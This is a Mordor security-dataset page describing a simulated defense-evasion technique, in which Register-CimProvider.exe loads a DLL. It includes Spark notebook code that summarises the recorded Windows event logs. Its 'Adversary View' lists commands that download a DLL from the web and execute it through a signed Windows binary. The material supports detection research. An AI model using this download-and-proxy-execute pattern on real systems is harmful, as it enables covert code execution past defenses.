Register-CimProvider Execute Dll

Metadata

Author

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2020/10/23

Modification Date

2020/10/23

Tactics

[‘TA0005’]

Techniques

[‘T1218’]

Tags

None

Dataset Description

This dataset represents threat actors leveraging Register-Cimprovider to execute a malicious Dll.

Notebooks

Notebooks created by the community leveraging the mordor datasets

Author

Name

Link

Simulation Plan

Environment

Tool Type

Module

Lab VM

Manual

PowerShell

Adversary View

PS >Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll" -OutFile C:\ProgramData\T1218-2.dll
PS > C:\Windows\SysWow64\Register-CimProvider.exe -Path C:\ProgramData\T1218-2.dll

'Namespace' is not specified.
'ProviderName' is not specified.
Failed to load provider 'C:\ProgramData\T1218-2.dll'. Failure code 0x8007045A.

Try 'Register-CimProvider.exe -help' for help.

Explore Mordor Dataset

Initialize Analytics Engine

from openhunt.mordorutils import *
spark = get_spark()

Download & Process Mordor File

mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/defense_evasion/host/psh_register_cimprovider_execute_dll.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")
[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable 

Get to know your data

df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)
+------------+------------------------------------+-------+-----+
|Hostname    |Channel                             |EventID|count|
+------------+------------------------------------+-------+-----+
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|10     |550  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|7      |396  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|12     |177  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|13     |63   |
|WORKSTATION5|Security                            |4658   |24   |
|WORKSTATION5|Security                            |4690   |12   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|9      |12   |
|WORKSTATION5|Security                            |4656   |12   |
|WORKSTATION5|Security                            |4663   |9    |
|WORKSTATION5|Security                            |5158   |9    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|11     |8    |
|WORKSTATION5|Security                            |5156   |7    |
|WORKSTATION5|Security                            |4688   |6    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|1      |6    |
|WORKSTATION5|Security                            |4673   |4    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|5      |3    |
|WORKSTATION5|Security                            |4689   |3    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|3      |2    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|23     |2    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|22     |2    |
+------------+------------------------------------+-------+-----+
only showing top 20 rows